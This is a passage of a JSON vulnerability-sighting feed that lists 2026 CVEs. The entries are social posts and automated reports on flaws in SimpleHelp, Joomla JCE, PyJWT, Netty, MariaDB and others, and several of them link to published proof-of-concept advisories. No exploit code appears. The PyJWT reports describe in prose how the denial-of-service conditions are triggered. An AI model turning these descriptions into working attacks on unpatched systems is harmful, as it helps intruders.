"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48147", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-wxq7-x3qp-vcr8", "content": "", "creation_timestamp": "2026-05-21T08:44:07.000000Z"}, {"uuid": "20bad09a-10de-4888-b02b-7bec6b79cfc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48006", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo4dkybdiu2q", "content": "CVE-2026-48006 - Netty's Lack of Lifecycle Cleanup Leads to Pooled ByteBuf Leak in RedisArrayAggregator\nCVE ID : CVE-2026-48006\n \n Published : June 12, 2026, 4:16 p.m. | 51\u00a0minutes ago\n \n Description : Netty is a network application framework for development of protocol server...", "creation_timestamp": "2026-06-12T18:09:49.421875Z"}, {"uuid": "1d2a9776-e076-44e3-80f2-6df80185ca5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48059", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo4e52jd2l23", "content": "CVE-2026-48059 - Netty HAProxy: Unbalanced Reference Count in Nested PP2_TYPE_SSL TLV Parsing Leads to Memory Exhaustion\nCVE ID : CVE-2026-48059\n \n Published : June 12, 2026, 4:16 p.m. | 51\u00a0minutes ago\n \n Description : Netty is a network application framework for development o...", "creation_timestamp": "2026-06-12T18:19:55.906310Z"}, {"uuid": "eafd2b2b-58c3-452a-8809-b3c12bc6ed8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/ROllerozxa.hachyderm.io.ap.brid.gy/post/3mo4fv2jki6o2", "content": "Apparently there is a critical #phpBB vulnerability (CVE-2026-48611) that allows anyone to hijack user accounts on any forum with a vulnerable version that has mostly flown under the radar. Someone on a forum I frequent managed to log into the admin account to demonstrate it.\n\nThe fix seems to [\u2026]", "creation_timestamp": "2026-06-12T18:51:21.894384Z"}, {"uuid": "db9ef06a-5d6c-4a0f-8944-68a8206613bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48154", "type": "published-proof-of-concept", "source": "https://github.com/pilinux/gorest/security/advisories/GHSA-cpwg-x64r-rgwg", "content": "", "creation_timestamp": "2026-05-21T08:50:03.000000Z"}, {"uuid": "2ec392dc-aa06-4a46-a213-7db0e88b384f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48150", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-6xp4-cf37-ppjh", "content": "", "creation_timestamp": "2026-05-21T08:46:30.000000Z"}, {"uuid": "d60f7e05-6672-46c5-b042-064cd0fe2b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48165", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mo4uhdc5ui2o", "content": "CVE-2026-48165 - OS Command Injection in MariaDB. High-privileged users can execute shell commands via wsrep_sst variables. CVSS 8.0. Patch released. Update now. #CVE #MariaDB #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48165/", "creation_timestamp": "2026-06-12T23:12:00.509399Z"}, {"uuid": "fa9ad410-5fbc-464a-902b-69a8b91c1922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48785", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mo665pux3s2w", "content": "\ud83d\udc27 Proteja seu Apptainer no Fedora! Script + mitiga\u00e7\u00e3o + comandos reais para verificar e corrigir a falha CVE-2026-48785. Conte\u00fado perene: \u00fatil por anos.  Saiba mais: -> tinyurl.com/ymky4h28  #Fedora", "creation_timestamp": "2026-06-13T11:39:48.380992Z"}, {"uuid": "77ba11c9-dd08-4b44-881a-d31629e80f87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-48907.yaml", "content": "", "creation_timestamp": "2026-06-11T15:38:57.000000Z"}, {"uuid": "45e74bb6-3289-40e3-b213-56634e17150e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mo6jgxce6n2p", "content": "\ud83d\udd34 CVE-2026-48558 - Critical (10)\n\nSimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypas...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48558/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-13T15:00:16.977439Z"}, {"uuid": "8d1da1d6-b534-4589-a4a0-e322bb97caaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mso74bns252h", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-4878](https://access.redhat.com/errata/RHSA-2026:12423)\nA flaw was found in libcap. A l...\nhttps://access.redhat.com/errata/RHSA-2026:12423 #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-08-09T18:18:43.012515Z"}, {"uuid": "3aeef7e9-9967-4c05-a643-7c4776397c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48748", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moaq36mskk23", "content": "CVE-2026-48748 - DoS in Netty HTTP/3 codec. Memory exhaustion from infinite blocked streams. CVSS 7.5. Update to 4.2.15.Final immediately. #CVE #infosec #Netty\n\nhttps://www.valtersit.com/cve/CVE-2026-48748/", "creation_timestamp": "2026-06-14T12:04:16.981114Z"}, {"uuid": "e8ed3522-fa4e-41ae-98a0-8929862f9e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mobcidnjl72t", "content": "\ud83d\udea8 CRITICAL ALERT: CVE-2026-48558\n\nCVSS 10.0/10\n\n\ud83d\udccb WHAT IT IS:\nSimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted ", "creation_timestamp": "2026-06-14T17:33:45.801948Z"}, {"uuid": "0a616741-f588-4d3c-94ad-ef5fbd05cf22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mobwr7zhbd2v", "content": "\ud83d\udea8  ALERT: CVE-2026-48567\n\nCVSS 10.0/10\n\n\ud83d\udccb WHAT IT IS:\nAuthentication bypass by spoofing in Azure HorizonDB allows an unauthorized attacker to elevate privileges over a network.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Azure Horizondb\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: remotely over the network\nImpact: high impact", "creation_timestamp": "2026-06-14T23:36:38.841095Z"}, {"uuid": "a39f1c78-990a-4f50-b47d-cbebd8279c6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mobwu5keee2k", "content": "\ud83d\udea8  ALERT: CVE-2026-48567\n\nCVSS 10.0/10\n\n\ud83d\udccb WHAT IT IS:\nAuthentication bypass by spoofing in Azure HorizonDB allows an unauthorized attacker to elevate privileges over a network.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 Azure Horizondb\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: remotely over the network\nImpact: high impact", "creation_timestamp": "2026-06-14T23:38:17.304810Z"}, {"uuid": "63964cd6-9861-4ffb-8d45-009cc35f24f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48006", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moc6sby6di2n", "content": "\ud83d\udfe0 CVE-2026-48006 - High (7.5)\n\nNetty is a network application framework for development of protocol servers and clients. Prior t...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48006/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-15T02:00:25.445120Z"}, {"uuid": "9418bcca-4c9f-45ff-bd9a-84adbf8bd04f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48059", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moc6sjgcn32d", "content": "\ud83d\udfe0 CVE-2026-48059 - High (7.5)\n\nNetty is a network application framework for development of protocol servers and clients. Prior t...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48059/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-15T02:00:33.352837Z"}, {"uuid": "6e7da8eb-ecaa-4cc9-b4bd-6755e44a67b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mod2vypzwg22", "content": "CVE-2026-48907 (CVSS 100): The Unauthenticated RCE That Turns Your Joomla Site into a Pwned Statistic +\u00a0Video\n\nIntroduction: A new zero\u2011click Remote Code Execution (RCE) vulnerability has been discovered in the popular Joomla Content Editor (JCE) extension. Tracked as CVE\u20112026\u201148907 and carrying a\u2026", "creation_timestamp": "2026-06-15T10:23:34.069509Z"}, {"uuid": "c831c0c7-e1b4-4f45-8f8f-fde32ae03d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48188", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3modhfremy52f", "content": "\ud83d\udccc CVE-2026-48188 - An improper Input Validation vulnerability in OTRS or ((OTRS)) Community Edition\u00a0database layer module allows an unauthenticated SQL injection which c... https://www.cyberhub.blog/cves/CVE-2026-48188", "creation_timestamp": "2026-06-15T14:07:07.727450Z"}, {"uuid": "71689e1d-87b4-4fd8-abf7-fa1ab6c585a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48969", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3modndbh6zl2u", "content": "CVE-2026-48969 - WordPress Really Simple SSL plugin\nCVE ID : CVE-2026-48969\n \n Published : June 15, 2026, 2:16 p.m. | 1\u00a0hour, 25\u00a0minutes ago\n \n Description : Subscriber Broken Access Control in Really Simple SSL <= 9.5.9 versions.\n \n Severity: 6.5 | MEDIUM\n \n Visit the link...", "creation_timestamp": "2026-06-15T15:53:06.979800Z"}, {"uuid": "abe88bc5-c055-4d63-ad53-c7f0a1f6cfac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://www.acn.gov.it/portale/w/joomla-jce-sfruttamento-attivo-in-rete-della-cve-2026-48907", "content": "Rilevato sfruttamento attivo in rete della CVE-2026-48907 \u2013 gi\u00e0 sanata dal vendor \u2013 presente nel plugin Joomla Content Editor (JCE) estensione per il noto CMS Joomla! utilizzata per la gestione avanzata dei contenuti, Tale vulnerabilit\u00e0, qualora sfruttata, potrebbe consentire ad un utente malintenzionato remoto di eseguire codice arbitrario sui sistemi interessati.", "creation_timestamp": "2026-06-15T11:32:15.000000Z"}, {"uuid": "48b6053f-e4c8-4c25-99b2-f7272792ce96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3modpgoxhsx2c", "content": "\ud83d\udea8 CRITICAL: CVE-2026-48558\n\nCVSS 10.0/10\n\n\ud83d\udccb WHAT IT IS:\nSimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted withou", "creation_timestamp": "2026-06-15T16:30:48.448615Z"}, {"uuid": "5591fa28-478d-4f1a-a859-8aafd95196d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48524", "type": "seen", "source": "https://gist.github.com/alon710/1f95260cf4713d452e9aa65f49fefae4", "content": "# CVE-2026-48524: CVE-2026-48524: Remote Cache Eviction and Authentication Denial of Service in PyJWT\n\n> **CVSS Score:** 3.7\n> **Published:** 2026-06-15\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48524\n\n## Summary\nA logic flaw in PyJWT's PyJWKClient class allows remote unauthenticated attackers to trigger a complete authentication outage. By transmitting a volume of JWTs containing randomized, non-existent Key ID (kid) values, attackers force synchronous outbound JWKS resolution queries. When these queries fail or time out, a defect in the error cleanup code overwrites the local cache of valid signing keys with None, causing a denial of service.\n\n## TL;DR\nUnauthenticated attackers can send JWTs with randomized KIDs to force connection errors on the target's upstream JWKS endpoint. A flaw in the error cleanup sequence then writes None to the cache, evicting all legitimate signing keys and preventing legitimate users from authenticating.\n\n## Technical Details\n\n- **CWE ID**: CWE-460\n- **Attack Vector**: Network\n- **CVSS v3.1**: 3.7\n- **EPSS Score**: 0.00205\n- **Impact**: Denial of Service (DoS)\n- **Exploit Status**: none\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Applications utilizing the pyjwt Python package prior to version 2.13.0 with PyJWKClient enabled for dynamic key retrieval.\n- **pyjwt**: < 2.13.0 (Fixed in: `2.13.0`)\n\n## Mitigation\n\n- Upgrade PyJWT to version 2.13.0 or higher\n- Implement rate limiting at the API Gateway or WAF level to throttle incoming requests with unique, unverified JWT headers\n- Validate the format and structure of the 'kid' header before initiating client database or remote lookup actions\n- Apply strict outbound connection limits and low timeouts on requests to dynamic JWKS endpoints\n\n**Remediation Steps:**\n1. Identify all deployment environments running Python-based JWT authentication layers.\n2. Check the installed PyJWT version using 'pip show pyjwt'.\n3. Upgrade the package to a safe version: 'pip install --upgrade \"pyjwt>=2.13.0\"'.\n4. Restart the application server instances to reload the newly patched dependency into memory.\n5. Set up application telemetry to alert on spikes of 'PyJWKClientConnectionError' or unhandled connection timeouts.\n\n## References\n\n- [GitHub Security Advisory GHSA-fhv5-28vv-h8m8](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-fhv5-28vv-h8m8)\n- [Official CVE Record CVE-2026-48524](https://www.cve.org/CVERecord?id=CVE-2026-48524)\n- [PyJWT Commit Fix 95791b1759b8aa4f2203575d344d5c78564cdc81](https://github.com/jpadilla/pyjwt/commit/95791b1759b8aa4f2203575d344d5c78564cdc81)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48524) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-15T17:41:21.000000Z"}, {"uuid": "17cc7d1d-08f0-44fb-b6e4-1e7e0b7de45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48779", "type": "published-proof-of-concept", "source": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p", "content": "", "creation_timestamp": "2026-05-22T18:05:36.000000Z"}, {"uuid": "452c6903-5b4a-4174-95d6-a802c95ef29e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48525", "type": "seen", "source": "https://gist.github.com/alon710/65e78fc78054322fc9a9e7b7f341ade1", "content": "# CVE-2026-48525: CVE-2026-48525: Uncontrolled Resource Consumption in PyJWT Detached JWS Verification\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-06-15\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48525\n\n## Summary\nPyJWT versions 2.8.0 through 2.12.1 are vulnerable to an unauthenticated Denial of Service (DoS) attack. When verifying detached JSON Web Signatures (JWS) using the unencoded-payload option (RFC 7797, b64=false), the library eagerly decodes the payload segment before verifying the header configuration or the cryptographic signature. This behavior enables a remote, unauthenticated attacker to inject an arbitrarily large payload segment, triggering excessive CPU and memory resource consumption prior to signature validation.\n\n## TL;DR\nPyJWT eagerly decodes JWS payload segments before validating the b64=false header configuration, enabling an unauthenticated remote Denial of Service attack via large, dummy payload strings.\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 5.3 (Medium)\n- **Exploit Status**: PoC Analysis / None\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- PyJWT library installations\n- **PyJWT**: >= 2.8.0, <= 2.12.1 (Fixed in: `2.13.0`)\n\n## Mitigation\n\n- Upgrade to PyJWT version 2.13.0 or higher.\n- Limit the maximum size of incoming HTTP request headers at the web server or reverse proxy level.\n- Implement Web Application Firewall (WAF) rules to inspect and drop JWS payloads exceeding normal length thresholds.\n\n**Remediation Steps:**\n1. Identify all Python environments and requirements files referencing PyJWT.\n2. Update the dependency specification to require 'pyjwt>=2.13.0'.\n3. Rebuild container images and run dependency security scanning tools to verify the update.\n4. Deploy the updated application to production environments.\n\n## References\n\n- [GitHub Security Advisory](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39)\n- [GitHub Fix Commit](https://github.com/jpadilla/pyjwt/commit/95791b1759b8aa4f2203575d344d5c78564cdc81)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-48525)\n- [Wiz Vulnerability Database entry](https://www.wiz.io/vulnerability-database/cve/cve-2026-48525)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48525) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-15T19:41:20.000000Z"}, {"uuid": "fde34325-d5bb-4912-a928-723ad32ad03c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48114", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moe3lahrka2v", "content": "CVE-2026-48114 - Metacat has an unauthenticated SQL injection vulnerability\nCVE ID : CVE-2026-48114\n \n Published : June 15, 2026, 6:52 p.m. | 49\u00a0minutes ago\n \n Description : Metacat is data repository software that helps researchers preserve, share, and discover data. Versions...", "creation_timestamp": "2026-06-15T20:08:06.438952Z"}, {"uuid": "98827e7e-05b8-4739-8cf3-5d2b458033ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48525", "type": "seen", "source": "https://gist.github.com/alon710/9d5d358571e9a39984e3ba8848038e82", "content": "# CVE-2026-48525: CVE-2026-48525: Uncontrolled Resource Consumption in PyJWT Detached JWS Verification\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-06-15\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48525\n\n## Summary\nPyJWT versions 2.8.0 through 2.12.1 are vulnerable to an unauthenticated Denial of Service (DoS) attack. When verifying detached JSON Web Signatures (JWS) using the unencoded-payload option (RFC 7797, b64=false), the library eagerly decodes the payload segment before verifying the header configuration or the cryptographic signature. This behavior enables a remote, unauthenticated attacker to inject an arbitrarily large payload segment, triggering excessive CPU and memory resource consumption prior to signature validation.\n\n## TL;DR\nPyJWT eagerly decodes JWS payload segments before validating the b64=false header configuration, enabling an unauthenticated remote Denial of Service attack via large, dummy payload strings.\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 5.3 (Medium)\n- **Exploit Status**: PoC Analysis / None\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- PyJWT library installations\n- **PyJWT**: >= 2.8.0, <= 2.12.1 (Fixed in: `2.13.0`)\n\n## Mitigation\n\n- Upgrade to PyJWT version 2.13.0 or higher.\n- Limit the maximum size of incoming HTTP request headers at the web server or reverse proxy level.\n- Implement Web Application Firewall (WAF) rules to inspect and drop JWS payloads exceeding normal length thresholds.\n\n**Remediation Steps:**\n1. Identify all Python environments and requirements files referencing PyJWT.\n2. Update the dependency specification to require 'pyjwt>=2.13.0'.\n3. Rebuild container images and run dependency security scanning tools to verify the update.\n4. Deploy the updated application to production environments.\n\n## References\n\n- [GitHub Security Advisory](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39)\n- [GitHub Fix Commit](https://github.com/jpadilla/pyjwt/commit/95791b1759b8aa4f2203575d344d5c78564cdc81)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-48525)\n- [Wiz Vulnerability Database entry](https://www.wiz.io/vulnerability-database/cve/cve-2026-48525)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48525) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-15T19:51:29.000000Z"}, {"uuid": "a2ea3a98-567c-415e-9c9e-4aaf731fe340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48525", "type": "seen", "source": "https://gist.github.com/alon710/5176e235b1faf51aeac2691145abc27f", "content": "# CVE-2026-48525: CVE-2026-48525: Uncontrolled Resource Consumption in PyJWT Detached JWS Verification\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-06-15\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48525\n\n## Summary\nPyJWT versions 2.8.0 through 2.12.1 are vulnerable to an unauthenticated Denial of Service (DoS) attack. When verifying detached JSON Web Signatures (JWS) using the unencoded-payload option (RFC 7797, b64=false), the library eagerly decodes the payload segment before verifying the header configuration or the cryptographic signature. This behavior enables a remote, unauthenticated attacker to inject an arbitrarily large payload segment, triggering excessive CPU and memory resource consumption prior to signature validation.\n\n## TL;DR\nPyJWT eagerly decodes JWS payload segments before validating the b64=false header configuration, enabling an unauthenticated remote Denial of Service attack via large, dummy payload strings.\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 5.3 (Medium)\n- **Exploit Status**: PoC Analysis / None\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- PyJWT library installations\n- **PyJWT**: >= 2.8.0, <= 2.12.1 (Fixed in: `2.13.0`)\n\n## Mitigation\n\n- Upgrade to PyJWT version 2.13.0 or higher.\n- Limit the maximum size of incoming HTTP request headers at the web server or reverse proxy level.\n- Implement Web Application Firewall (WAF) rules to inspect and drop JWS payloads exceeding normal length thresholds.\n\n**Remediation Steps:**\n1. Identify all Python environments and requirements files referencing PyJWT.\n2. Update the dependency specification to require 'pyjwt>=2.13.0'.\n3. Rebuild container images and run dependency security scanning tools to verify the update.\n4. Deploy the updated application to production environments.\n\n## References\n\n- [GitHub Security Advisory](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39)\n- [GitHub Fix Commit](https://github.com/jpadilla/pyjwt/commit/95791b1759b8aa4f2203575d344d5c78564cdc81)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-48525)\n- [Wiz Vulnerability Database entry](https://www.wiz.io/vulnerability-database/cve/cve-2026-48525)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48525) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-15T20:01:21.000000Z"}, {"uuid": "d3b79a3a-ff79-4e02-b5ee-2f3fc57b5e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48525", "type": "published-proof-of-concept", "source": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39", "content": "", "creation_timestamp": "2026-05-21T20:36:11.000000Z"}, {"uuid": "502849f1-effe-4ccf-9943-cf6e304be568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48526", "type": "published-proof-of-concept", "source": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx", "content": "", "creation_timestamp": "2026-05-21T20:35:04.000000Z"}, {"uuid": "21816209-f055-45ad-a8be-239f64333538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48523", "type": "published-proof-of-concept", "source": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f", "content": "", "creation_timestamp": "2026-05-21T20:34:37.000000Z"}, {"uuid": "339931b2-32d8-4e6b-b317-e6a6deecf9c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3moe5qpstav2q", "content": "CRITICAL OIDC BREAKDOWN: SimpleHelp Flaw Lets Attackers Instantly Become Privileged Technicians Without Login (CVE-2026-48558) +\u00a0Video\n\nIntroduction: When Identity Systems Become the Weakest Door in the Network Remote management tools sit at the heart of modern enterprise operations, quietly\u2026", "creation_timestamp": "2026-06-15T20:46:57.664946Z"}, {"uuid": "489861e0-cc8c-43eb-9223-e767f2affbb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48988", "type": "published-proof-of-concept", "source": "https://github.com/markdown-it/markdown-it/security/advisories/GHSA-6v5v-wf23-fmfq", "content": "", "creation_timestamp": "2026-05-23T23:47:27.000000Z"}, {"uuid": "249dad1f-2dc0-4b19-ad8e-15c8357761b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48125", "type": "published-proof-of-concept", "source": "https://github.com/faisalman/ua-parser-js/security/advisories/GHSA-9h5v-pfqq-x599", "content": "", "creation_timestamp": "2026-05-21T15:31:36.000000Z"}, {"uuid": "76318a96-aa1f-4880-984b-d9a0f0f48f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3moeeegyplj2n", "content": "Critical SimpleHelp flaw CVE-2026-48558 lets unauthenticated attackers create privileged Technician accounts when OIDC is enabled, bypassing MFA. Fixes are in 5.5.16 and 6.0RC2. #SimpleHelp #CVE202648558 #OIDC", "creation_timestamp": "2026-06-15T22:45:22.233923Z"}, {"uuid": "98231bfe-6071-4cac-8005-caedb545c339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48713", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moef7r5k4a24", "content": "\ud83d\udd34 CVE-2026-48713 - Critical (9.1)\n\nVersions prior to 2.6.6 are vulnerable to prototype pollution via crafted missing-key strings whe...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48713/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-15T23:00:38.877313Z"}, {"uuid": "d15e0b69-c7e6-4c1d-9211-1c147ab5c3ad", 